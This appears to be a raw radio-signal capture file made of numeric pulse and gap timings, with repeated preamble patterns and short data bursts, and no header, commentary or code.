-204 65 -124 59 -52 80 -54 77 -356 71 -382 51 -808 80 -1809 85 -356 67 -111 67 -74 61 -397 53 -327 130 -76 53 -189 174 -482 53 -215 73 -124 77 -334 139 -124 65 -211 57 -100 207 -260 51 -766 59 -142 89 -371 89 -87 134 -89 51 -466 87 -54 51 -123 61 -506 97 -240 53 -99 61 -86 53 -54 67 -82 69 -626 61 -281 61 -803 53 -1413 59 -112 69 -377 59 -328 59 -559 61 -191 53 -242 75 -383 71 -255 81 -94 103 -216 89 -806 97 -168 59 -136 75 -217 91 -214 79 -455 61 -98 55 -94 53 -174 132 -476 59 -257 51 -192 183 -92 111 -113 137 -54 111 -54 83 -93 141 -84 153 -143 71 -58 51 -180 80 -139 71 -248 71 -208 221 -347 97 -341 67 -70 266 -72 53 -93 51 -78 107 -92 63 -301 83 -54 51 -136 59 -112 65 -82 178 -52 51 -64 217 -205 112 -260 128 -98 59 -219 73 -106 97 -141 193 -186 61 -54 87 -126 123 -158 69 -570 123 -62 102 -70 181 -316 51 -94 96 -107 148 -70 277 -86 239 -103 97 -227 71 -89 63 -191 110 -107 81 -58 113 -149 105 -54 99 -147 177 -142 127 -72 95 -54 152 -80 136 -196 87 -169 80 -262 151 -90 115 -68 124 -198 71 -147 53 -82 258 -72 142 -88 133 -115 61 -97 171 -234 77 -54 81 -54 95 -104 88 -121 53 -72 132 -84 65 -130 81 -321 91 -136 130 -92 179 -106 55 -146 110 -60 67 -81 145 -62 65 -199 106 -95 124 -233 51 -62 219 -100 239 -220 55 -241 140 -54 241 -161 63 -374 67 -279 59 -173 87 -107 71 -167 55 -308 53 -402 53 -570 61 -227 59 -576 126 -72 59 -132 76 -298 63 -263 71 -326 87 -120 63 -100 104 -397 156 -389 141 -171 110 -82 55 -125 75 -680 135 -161 121 -228 100 -881 61 -116 101 -150 75 -308 59 -503 75 -157 61 -425 186 -287 108 -64 63 -1169 59 -189 53 -72 71 -256 93 -236 73 -295 114 -125 65 -60 67 -306 67 -192 55 -186 73 -172 85 -210 123 -1102 102 -451 91 -127 212 -238 59 -618 145 -54 95 -158 73 -68 53 -186 59 -81 129 -131 71 -204 51 -248 114 -441 53 -78 59 -228 142 -86 53 -54 123 -235 112 -162 -RAW_Data: 53 -238 77 -579 53 -123 65 -70 107 -58 153 -193 57 -214 134 -244 51 -737 118 -96 71 -238 114 -162 91 -226 51 -72 63 -72 61 -114 57 -273 69 -125 71 -107 53 -162 100 -370 211 -521 127 -728 81 -238 57 -552 75 -375 89 -303 59 -62 95 -222 88 -64 65 -132 129 -325 103 -226 83 -104 87 -254 109 -68 69 -173 53 -130 95 -141 116 -135 88 -54 97 -258 89 -60 111 -94 103 -127 113 -184 53 -110 121 -70 109 -70 77 -159 51 -468 53 -52 122 -108 53 -56 136 -206 71 -120 149 -62 105 -130 105 -123 110 -285 158 -82 97 -146 89 -249 75 -368 65 -64 53 -72 105 -86 83 -495 145 -84 81 -76 177 -193 79 -107 61 -253 59 -68 51 -266 125 -114 81 -134 94 -388 77 -75 55 -531 67 -82 164 -113 53 -173 61 -161 81 -283 87 -92 137 -171 53 -429 156 -514 207 -968 98 -52 75 -465 81 -156 99 -54 53 -301 65 -868 93 -461 61 -123 99 -56 53 -511 61 -98 89 -52 59 -441 71 -210 73 -610 63 -517 73 -509 117 -231 61 -98 97 -70 81 -700 93 -309 140 -171 137 -72 63 -156 71 -258 53 -163 53 -170 61 -263 195 -102 63 -54 224 -114 53 -224 205 -521 51 -300 99 -302 75 -68 61 -80 51 -231 112 -391 65 -148 51 -125 67 -232 51 -281 61 -80 71 -1753 67 -209 89 -76 55 -375 67 -76 53 -312 59 -743 55 -112 194 -228 67 -205 97 -86 91 -296 87 -160 89 -308 57 -92 67 -88 67 -140 57 -416 97 -378 51 -70 73 -383 73 -229 51 -144 87 -186 223 -971 77 -221 69 -1203 51 -98 77 -372 53 -78 59 -308 63 -267 51 -241 69 -304 294 -113 139 -596 63 -72 61 -287 121 -84 71 -178 51 -54 119 -164 106 -1146 53 -311 188 -313 153 -119 81 -60 67 -145 59 -320 87 -223 53 -354 81 -58 57 -283 82 -204 97 -131 79 -370 61 -676 55 -54 76 -123 63 -908 67 -445 53 -62 73 -622 59 -437 133 -145 201 -301 97 -422 93 -227 63 -68 51 -360 129 -251 61 -491 125 -509 63 -160 71 -675 67 -189 78 -329 95 -88 67 -256 74 -77 103 -82 585 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 209 -134 69 -450 59 -112 97 -162 318 -54 155 -246 167 -72 126 -283 93 -228 67 -522 113 -80 61 -100 97 -82 89 -151 61 -303 71 -148 96 -328 63 -406 51 -196 83 -465 53 -86 51 -74 65 -76 82 -54 75 -182 69 -157 101 -180 71 -328 63 -578 51 -171 51 -533 95 -52 105 -472 89 -54 53 -312 51 -273 63 -110 83 -280 73 -287 83 -481 142 -136 88 -225 81 -377 103 -663 57 -753 53 -274 94 -216 69 -92 51 -503 71 -106 67 -371 118 -303 114 -247 78 -470 59 -138 107 -168 96 -833 63 -89 59 -157 106 -236 53 -62 187 -113 126 -828 65 -70 69 -106 94 -76 71 -320 69 -299 53 -68 131 -258 75 -58 97 -428 81 -264 53 -180 117 -435 71 -276 51 -78 65 -152 100 -287 59 -84 95 -202 124 -90 78 -54 185 -198 53 -142 53 -342 93 -437 73 -393 63 -560 112 -496 67 -363 90 -66 131 -216 193 -140 77 -198 55 -166 75 -86 61 -296 107 -224 53 -82 79 -298 61 -109 61 -82 73 -187 53 -80 79 -328 80 -112 59 -120 59 -192 102 -717 -RAW_Data: 89 -482 77 -599 59 -72 120 -346 69 -257 51 -76 77 -90 61 -153 160 -551 150 -441 67 -100 59 -203 89 -325 53 -300 137 -119 53 -100 132 -638 88 -501 59 -88 107 -52 67 -228 1061 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -128 125 -128 63 -54 133 -64 61 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 127 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -128 63 -64 125 -64 63 -62 63 -128 127 -128 63 -54 69 -64 61 -64 127 -130 127 -126 127 -120 135 -56 69 -126 63 -62 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 127 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -64 63 -126 65 -62 63 -62 127 -64 63 -62 265 -177 115 -192 240 -54 89 -131 285 -155 96 -146 172 -215 59 -96 65 -357 81 -98 142 -140 67 -172 79 -86 134 -601 65 -392 87 -650 71 -320 88 -188 75 -335 73 -607 85 -299 53 -72 89 -64 94 -212 106 -54 129 -320 151 -168 101 -111 51 -144 61 -121 196 -322 71 -358 51 -126 129 -150 53 -116 69 -348 169 -438 123 -54 70 -674 216 -70 55 -644 113 -144 63 -237 106 -406 130 -175 69 -314 90 -247 63 -408 75 -240 63 -62 53 -176 67 -381 67 -164 59 -326 51 -136 83 -289 59 -102 112 -393 61 -72 111 -68 59 -90 57 -658 59 -52 55 -185 53 -184 57 -158 67 -299 113 -292 86 -389 71 -232 75 -365 63 -423 73 -380 97 -287 51 -867 57 -105 53 -192 63 -354 132 -179 64 -110 85 -113 114 -193 55 -277 133 -270 59 -976 53 -58 132 -412 59 -233 125 -150 67 -325 -RAW_Data: 84 -466 89 -353 89 -125 99 -224 71 -232 93 -531 79 -200 96 -208 110 -98 53 -272 53 -362 51 -318 262 -631 51 -358 59 -192 67 -177 53 -182 82 -592 104 -120 61 -425 89 -160 59 -98 104 -90 136 -470 61 -405 75 -477 98 -152 105 -298 89 -280 81 -506 51 -313 51 -792 105 -263 125 -77 53 -488 69 -160 95 -141 99 -89 183 -122 79 -90 111 -148 179 -56 445 -54 53 -54 352 -54 196 -62 53 -108 59 -134 107 -121 53 -199 156 -52 89 -132 67 -119 159 -86 61 -68 55 -170 53 -114 77 -58 111 -80 179 -145 327 -81 61 -212 79 -131 77 -121 183 -95 51 -52 89 -97 71 -54 182 -56 77 -72 87 -124 63 -299 126 -152 53 -82 120 -112 85 -119 119 -92 71 -84 51 -204 129 -95 51 -108 57 -94 161 -108 291 -215 127 -87 188 -125 65 -68 238 -52 61 -111 113 -96 107 -54 57 -54 95 -124 208 -52 98 -217 89 -119 114 -134 271 -89 335 -158 107 -94 125 -107 63 -97 88 -146 230 -160 69 -62 86 -66 97 -96 176 -241 249 -108 126 -80 172 -54 231 -84 61 -87 159 -62 186 -274 73 -96 292 -110 137 -197 99 -259 141 -66 159 -80 134 -72 89 -224 142 -98 152 -133 77 -175 53 -60 156 -116 137 -167 166 -245 59 -86 115 -245 69 -216 85 -351 84 -587 198 -545 299 -123 75 -285 63 -168 118 -171 88 -310 93 -255 61 -105 75 -90 69 -147 88 -62 97 -103 81 -234 61 -369 95 -163 63 -298 98 -54 125 -86 136 -371 133 -148 166 -343 104 -441 77 -102 67 -194 116 -72 61 -307 107 -453 76 -250 181 -533 53 -170 159 -937 69 -332 53 -718 75 -119 61 -90 75 -549 53 -295 57 -462 53 -104 53 -481 99 -172 63 -68 59 -409 101 -251 61 -201 145 -485 63 -477 113 -665 55 -164 81 -469 61 -54 116 -251 78 -154 53 -255 102 -223 85 -163 101 -232 98 -218 135 -113 69 -56 152 -335 87 -330 63 -515 71 -462 73 -125 73 -168 77 -97 112 -288 87 -258 61 -248 55 -58 89 -58 97 -313 102 -241 78 -72 75 -186 283 -108 71 -292 53 -132 112 -126 61 -188 67 -90 63 -54 186 -54 177 -134 51 -262 83 -190 71 -78 63 -275 51 -505 51 -200 65 -295 138 -330 167 -223 329 -108 81 -514 79 -276 124 -259 176 -68 57 -571 99 -82 99 -667 55 -187 90 -227 61 -252 51 -401 194 -110 238 -281 61 -76 115 -193 87 -62 53 -76 163 -151 51 -206 63 -270 61 -60 97 -126 89 -60 61 -160 61 -105 113 -102 -RAW_Data: 63 -223 73 -271 139 -62 169 -156 82 -54 69 -107 133 -96 375 -334 63 -60 106 -54 53 -142 71 -180 105 -150 97 -94 167 -301 89 -112 111 -54 59 -330 265 -113 69 -198 125 -82 123 -72 173 -286 142 -72 81 -54 228 -58 161 -424 89 -58 79 -108 51 -104 87 -191 341 -96 59 -131 75 -96 273 -162 57 -66 89 -72 385 -72 53 -96 200 -81 201 -151 115 -108 79 -98 75 -54 331 -106 324 -70 51 -82 63 -98 71 -54 87 -76 461 -114 121 -70 101 -123 142 -99 229 -126 63 -189 101 -165 103 -68 284 -114 208 -142 153 -149 51 -213 158 -409 59 -127 112 -176 77 -105 119 -72 105 -66 51 -100 71 -74 59 -96 59 -90 125 -95 101 -72 86 -449 59 -226 294 -86 122 -224 67 -159 77 -164 94 -376 53 -358 53 -189 97 -52 95 -64 118 -306 101 -641 95 -200 119 -180 53 -254 77 -305 81 -630 105 -934 51 -347 51 -1377 69 -315 59 -96 75 -116 53 -179 149 -219 53 -100 59 -318 89 -793 59 -370 63 -159 93 -381 111 -74 90 -158 94 -54 117 -127 61 -128 63 -95 51 -316 51 -241 69 -175 103 -342 75 -249 53 -245 167 -251 124 -182 141 -319 53 -220 71 -180 107 -200 53 -358 59 -70 205 -164 61 -515 89 -84 100 -294 63 -270 63 -198 71 -120 90 -72 69 -312 69 -143 133 -243 53 -64 53 -426 53 -100 53 -403 89 -274 107 -206 53 -225 131 -615 69 -1115 133 -96 51 -72 63 -139 97 -126 143 -608 147 -104 67 -295 103 -214 69 -150 110 -309 51 -99 186 -564 79 -227 71 -303 88 -186 81 -303 63 -108 63 -179 53 -423 53 -191 71 -277 61 -104 59 -88 88 -301 63 -665 103 -659 69 -78 75 -122 90 -228 51 -1491 65 -153 75 -62 53 -240 73 -225 117 -94 59 -62 71 -224 949 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 191 -155 81 -211 130 -1171 67 -154 65 -409 55 -60 51 -294 89 -147 59 -277 57 -918 59 -100 59 -145 75 -54 98 -231 61 -668 71 -295 59 -76 51 -54 53 -673 106 -90 53 -196 53 -575 130 -116 77 -112 79 -56 59 -104 53 -148 63 -68 89 -70 176 -485 125 -90 144 -114 116 -307 67 -88 172 -812 79 -226 154 -259 158 -142 51 -544 71 -297 97 -224 89 -277 191 -124 63 -179 55 -146 82 -60 103 -116 81 -702 59 -503 67 -90 204 -111 59 -324 59 -652 51 -82 67 -180 53 -726 281 -214 142 -80 67 -281 188 -54 61 -563 51 -84 51 -231 135 -392 78 -373 123 -100 71 -98 53 -288 51 -217 105 -123 76 -170 79 -628 109 -424 69 -318 81 -174 59 -134 53 -142 69 -1095 85 -353 51 -241 139 -146 88 -345 114 -262 53 -889 151 -84 53 -228 74 -60 104 -88 82 -133 398 -205 61 -212 53 -64 71 -599 53 -118 53 -517 67 -72 71 -122 123 -601 129 -284 140 -196 96 -94 145 -224 159 -62 53 -469 61 -268 61 -618 81 -62 63 -256 81 -596 1111 -56 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -126 127 -120 135 -56 67 -126 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 63 -64 127 -128 63 -64 61 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 63 -62 63 -64 63 -128 63 -64 125 -64 63 -62 63 -128 127 -128 63 -62 61 -64 63 -62 127 -130 127 -128 125 -120 135 -56 67 -126 63 -64 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 127 -64 63 -62 63 -62 63 -64 63 -128 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 305 -516 53 -442 118 -372 106 -170 75 -215 71 -283 61 -216 162 -564 91 -313 126 -102 77 -505 57 -218 71 -104 59 -211 113 -463 83 -371 61 -176 51 -904 123 -302 53 -356 61 -266 63 -116 130 -240 61 -295 67 -277 53 -52 89 -66 89 -320 53 -54 79 -161 57 -82 89 -288 81 -373 57 -386 61 -106 51 -158 89 -54 152 -182 88 -279 126 -108 51 -134 75 -102 127 -76 61 -1178 85 -122 53 -807 79 -332 81 -607 95 -252 163 -400 51 -67 63 -771 77 -773 113 -370 61 -501 80 -263 51 -626 91 -94 53 -114 117 -321 93 -70 75 -244 59 -431 141 -458 53 -180 103 -576 67 -500 75 -337 53 -126 73 -237 63 -298 174 -360 51 -327 69 -280 108 -292 59 -52 135 -130 158 -62 51 -165 80 -653 151 -64 67 -66 96 -151 95 -466 87 -193 51 -141 81 -54 53 -175 79 -190 63 -232 142 -621 107 -314 143 -92 53 -114 67 -218 59 -211 79 -191 51 -824 57 -341 73 -219 130 -248 53 -220 57 -180 55 -258 63 -80 71 -295 87 -174 89 -132 53 -112 165 -64 51 -164 129 -200 63 -54 103 -114 150 -180 81 -212 83 -219 51 -76 80 -85 137 -320 103 -88 102 -306 81 -143 71 -216 88 -1373 157 -410 110 -80 51 -174 170 -234 86 -72 147 -185 80 -78 61 -168 121 -97 63 -199 63 -163 59 -60 59 -120 120 -202 73 -344 137 -52 97 -209 188 -80 162 -492 63 -199 51 -104 63 -501 191 -76 51 -137 -RAW_Data: 70 -209 51 -496 53 -72 53 -267 59 -147 53 -737 57 -970 59 -52 59 -125 55 -769 107 -209 59 -342 51 -60 51 -62 121 -152 103 -178 83 -308 57 -96 51 -393 88 -913 75 -1124 93 -458 126 -72 69 -634 61 -54 105 -262 88 -1083 67 -269 61 -162 59 -205 53 -480 53 -315 71 -220 214 -357 133 -237 67 -111 106 -124 69 -216 85 -361 67 -420 137 -120 53 -54 61 -553 97 -395 67 -132 59 -664 89 -134 57 -284 59 -170 124 -511 81 -66 63 -88 126 -390 119 -295 73 -94 75 -358 110 -141 81 -331 53 -581 107 -120 106 -70 102 -476 73 -162 59 -72 107 -70 139 -364 77 -66 57 -705 71 -545 98 -127 59 -82 67 -196 89 -62 57 -139 83 -80 53 -376 51 -151 67 -519 70 -897 53 -122 93 -116 114 -230 53 -114 59 -658 51 -563 61 -260 106 -88 107 -470 75 -141 51 -248 128 -100 53 -294 65 -324 131 -253 67 -68 200 -270 95 -60 65 -117 63 -209 77 -270 233 -564 53 -142 83 -482 71 -266 65 -563 87 -548 71 -98 55 -62 106 -1351 71 -160 67 -90 53 -154 69 -136 106 -294 133 -241 117 -205 81 -418 106 -464 61 -357 73 -128 137 -192 59 -86 103 -550 53 -524 108 -90 65 -290 53 -427 59 -192 53 -283 73 -177 91 -178 141 -488 55 -754 55 -203 71 -250 75 -72 61 -136 57 -82 148 -114 53 -52 67 -154 61 -279 53 -276 59 -546 53 -296 91 -90 111 -414 103 -582 160 -213 97 -70 69 -1195 169 -317 85 -470 105 -140 88 -68 104 -74 86 -762 69 -357 51 -358 179 -489 100 -277 99 -78 83 -92 71 -174 61 -165 53 -136 106 -74 148 -64 75 -777 179 -492 96 -72 75 -212 75 -102 97 -741 63 -277 69 -699 87 -150 114 -82 160 -813 301 -997 89 -260 65 -86 69 -82 59 -151 61 -227 55 -216 59 -62 53 -82 185 -274 75 -140 128 -124 77 -366 59 -280 76 -596 67 -268 67 -96 63 -134 91 -151 63 -380 81 -98 53 -118 61 -408 106 -420 61 -395 108 -443 125 -299 87 -234 59 -438 138 -90 51 -270 79 -180 53 -88 141 -54 65 -96 53 -979 194 -340 77 -262 75 -423 83 -653 74 -436 53 -1042 53 -797 53 -647 136 -352 57 -160 291 -70 87 -82 107 -253 104 -92 53 -237 73 -286 69 -128 98 -62 70 -54 59 -170 51 -434 53 -204 95 -226 87 -136 67 -162 63 -152 53 -164 101 -326 120 -108 53 -358 81 -116 53 -277 159 -240 71 -728 59 -468 81 -108 125 -636 61 -305 53 -100 99 -52 106 -295 -RAW_Data: 85 -108 67 -649 73 -196 107 -134 87 -106 53 -155 53 -155 75 -347 53 -578 570 -56 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 209 -98 179 -56 180 -102 215 -260 158 -168 69 -735 93 -54 65 -78 110 -98 53 -136 106 -54 76 -74 63 -62 71 -100 51 -273 73 -90 51 -507 103 -760 53 -402 57 -250 212 -570 99 -250 85 -584 103 -160 106 -80 148 -507 53 -72 73 -410 86 -216 103 -277 89 -234 83 -370 73 -142 93 -494 107 -356 59 -369 67 -1071 81 -391 59 -414 103 -417 65 -215 81 -516 53 -118 67 -304 57 -200 69 -314 53 -814 59 -90 59 -232 51 -117 97 -160 147 -152 105 -1146 57 -344 110 -372 59 -488 130 -421 88 -218 130 -123 113 -381 130 -294 -RAW_Data: 61 -232 53 -1058 83 -91 51 -56 57 -402 61 -111 109 -220 85 -192 122 -669 63 -62 95 -132 102 -265 83 -98 125 -197 59 -222 93 -197 184 -1017 59 -89 53 -228 278 -775 51 -907 123 -74 105 -84 78 -202 63 -74 116 -162 114 -380 69 -246 65 -229 59 -863 72 -615 115 -184 90 -84 99 -327 53 -80 53 -120 69 -505 151 -156 51 -201 157 -575 57 -361 61 -548 61 -130 51 -140 103 -207 53 -819 53 -487 1067 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -128 125 -120 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -128 127 -128 63 -56 67 -64 61 -64 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -128 127 -66 61 -62 63 -62 63 -128 127 -64 63 -126 127 -64 63 -62 63 -126 63 -64 127 -128 63 -62 127 -128 63 -62 125 -66 61 -128 127 -56 69 -126 129 -56 69 -62 63 -126 323 -88 61 -1652 55 -62 61 -102 97 -756 81 -186 83 -308 71 -161 75 -123 77 -148 73 -259 78 -214 81 -112 124 -440 95 -633 73 -98 69 -62 61 -332 85 -186 96 -1073 61 -192 65 -126 73 -361 71 -410 51 -458 125 -124 53 -424 59 -245 111 -502 120 -405 51 -296 59 -231 73 -72 65 -291 81 -205 57 -151 97 -395 142 -296 59 -1089 53 -136 55 -173 146 -217 73 -115 105 -155 63 -341 148 -133 115 -216 71 -546 126 -220 83 -217 59 -76 116 -344 73 -76 81 -180 146 -842 69 -98 81 -54 88 -183 67 -116 53 -356 274 -198 100 -339 75 -364 53 -92 -RAW_Data: 71 -655 75 -233 118 -167 135 -541 73 -400 113 -131 75 -98 107 -90 71 -125 71 -533 98 -580 110 -229 103 -334 143 -204 53 -206 117 -126 135 -511 118 -549 139 -206 105 -745 89 -426 53 -574 73 -68 65 -84 110 -326 53 -144 59 -272 51 -234 63 -303 51 -116 71 -212 51 -436 51 -144 79 -384 75 -513 73 -239 63 -90 61 -465 51 -372 89 -196 53 -162 59 -178 53 -166 59 -194 51 -60 57 -62 89 -106 73 -158 75 -52 97 -476 111 -384 61 -80 89 -122 243 -54 122 -126 89 -118 291 -155 63 -62 143 -111 110 -54 118 -84 366 -74 71 -90 63 -162 59 -231 115 -236 272 -258 79 -64 51 -180 77 -261 157 -190 53 -72 113 -116 51 -80 294 -98 53 -124 61 -99 143 -108 76 -199 97 -72 126 -72 59 -76 113 -111 63 -273 227 -90 91 -102 83 -453 53 -84 75 -119 61 -158 182 -296 170 -54 208 -84 199 -211 57 -98 73 -149 57 -111 61 -172 91 -68 91 -99 67 -177 138 -191 141 -317 205 -223 167 -54 124 -170 139 -99 61 -98 113 -106 107 -54 230 -184 129 -224 124 -142 168 -54 167 -285 96 -753 53 -484 71 -184 53 -205 241 -281 57 -350 51 -82 69 -102 77 -230 73 -105 73 -428 59 -382 65 -209 132 -188 53 -230 119 -465 59 -92 97 -631 158 -266 53 -110 69 -305 51 -266 61 -275 59 -400 72 -74 99 -70 81 -108 70 -182 88 -124 53 -56 165 -152 57 -281 59 -68 110 -1082 53 -82 53 -275 128 -829 140 -636 123 -60 89 -216 81 -96 81 -492 97 -58 71 -274 71 -382 96 -248 61 -76 57 -336 196 -358 105 -206 89 -62 133 -136 89 -166 99 -98 59 -54 53 -90 53 -56 51 -72 132 -64 53 -72 65 -132 51 -102 91 -414 107 -451 57 -211 107 -407 105 -134 63 -498 79 -308 55 -668 83 -84 177 -56 51 -52 127 -120 65 -290 140 